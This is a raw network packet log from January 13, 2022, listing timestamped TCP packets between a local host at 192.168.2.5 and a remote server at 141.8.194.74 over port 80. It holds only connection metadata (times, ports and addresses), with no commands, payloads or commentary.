Jan 13, 2022 20:51:23.490035057 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.490040064 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490041018 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.490075111 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490103960 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.490107059 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490140915 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490166903 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490199089 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490226984 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.490231991 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490235090 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.490263939 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490298033 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490330935 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490360975 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.490361929 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490369081 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.490396023 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490428925 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490453005 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.490463018 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490498066 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490542889 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490566969 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.490575075 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.490576029 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490611076 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490643024 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490675926 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490696907 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.490703106 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.490710020 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490745068 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490777969 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490808010 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490829945 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.490839958 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.490839958 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490874052 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490906000 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490936995 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490955114 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.490962982 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.490969896 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.491003990 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.491035938 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.491065979 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.491087914 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.491094112 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.491106033 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.491137981 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.491168022 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.491199970 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.491215944 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.491224051 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.491233110 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.491266012 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.491300106 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.491349936 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.491358042 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.563086033 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.563133955 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.563174009 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.563215017 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.563218117 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.563256025 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.563297033 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.563337088 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.563342094 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.563349962 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.563375950 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.563416004 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.563455105 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.563493967 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.563503027 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.563508987 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.563538074 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.563575983 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.563615084 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.563652992 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.563659906 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.563668966 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.563692093 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.563730955 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.563767910 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.563771009 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.563776970 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.563808918 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.563848019 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.563879013 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.563886881 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.563899994 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.563927889 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.563966990 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564003944 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564042091 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564054012 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.564059973 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.564084053 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564122915 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564135075 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.564162970 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564199924 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564239979 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564260006 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.564273119 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.564277887 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564294100 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.564316988 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564356089 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564378977 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.564394951 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564435959 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564464092 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.564485073 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564522982 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564563990 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564577103 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.564604044 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564620018 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.564642906 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564682007 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564719915 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564755917 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564769030 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.564775944 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.564795017 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564832926 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564872980 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564912081 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.564918041 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.564923048 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.564953089 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.565046072 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.636765003 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.636815071 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.636857986 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.636898994 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.636935949 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.636948109 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.636972904 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.636975050 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637017012 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637037992 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.637044907 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.637057066 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637095928 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637135029 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637172937 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637191057 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.637197971 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.637213945 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637250900 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637290955 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637331009 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637350082 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.637360096 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.637372017 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637411118 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637449026 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637486935 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637501001 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.637509108 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.637527943 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637567043 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637604952 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637644053 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637662888 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.637669086 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.637680054 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637718916 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637739897 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.637747049 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.637761116 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637799978 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637839079 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637896061 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.637902975 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.637917042 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637954950 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.637993097 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.638031960 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.638070107 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.638093948 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.638101101 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.638108015 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.638147116 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.638185024 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.638225079 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.638243914 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.638250113 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.638261080 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.638299942 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.638339043 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.638375998 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.638396978 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.638402939 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.638415098 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.638453960 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.638493061 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.638533115 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.638555050 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.638560057 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.638572931 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.638612032 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.638755083 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.638811111 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.639451027 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.710542917 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.710592985 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.710637093 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.710675001 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.710714102 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.710752964 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.710753918 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.710782051 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.710793018 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.710834026 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.710874081 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.710875034 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.710896015 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.710912943 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.710953951 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.710998058 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711002111 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.711035967 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711080074 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711118937 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711143017 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.711149931 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.711158991 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711203098 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711241007 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711280107 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711289883 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.711293936 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.711321115 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711359024 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711399078 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711437941 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711440086 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.711477041 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711517096 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711538076 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.711543083 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.711559057 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711599112 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711637020 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711673975 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711688995 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.711697102 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.711714029 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711752892 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711791992 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711831093 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711843967 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.711849928 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.711868048 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711905956 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711945057 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.711982012 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712019920 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712058067 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712085962 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.712096930 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712109089 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.712115049 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.712137938 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712157011 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.712176085 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712215900 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712256908 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712260962 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.712295055 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712333918 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712341070 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.712373018 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712414026 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712455034 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712459087 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.712466002 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.712491989 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712541103 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712579012 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712614059 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712654114 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712656975 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.712673903 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.712692976 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712729931 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712768078 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712786913 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.712791920 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.712805986 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712845087 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712883949 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712919950 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712932110 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.712938070 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.712960005 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.712997913 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.713035107 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.713052034 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.713057995 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.713073969 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.713113070 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.713151932 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.713164091 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.713171005 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.713192940 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.713229895 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.713268042 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.713305950 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.713313103 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.713318110 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.713345051 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.713383913 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.713421106 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.713459015 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.713464975 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.713470936 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.713499069 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.713536024 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.713576078 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.713613987 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.713627100 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.713633060 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.713651896 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.713690042 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.713726997 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.713764906 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.713773012 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.713778973 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.713795900 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.713937998 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.714236975 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.786727905 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.786819935 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.178761959 CET	49825	80	192.168.2.5	141.8.194.74
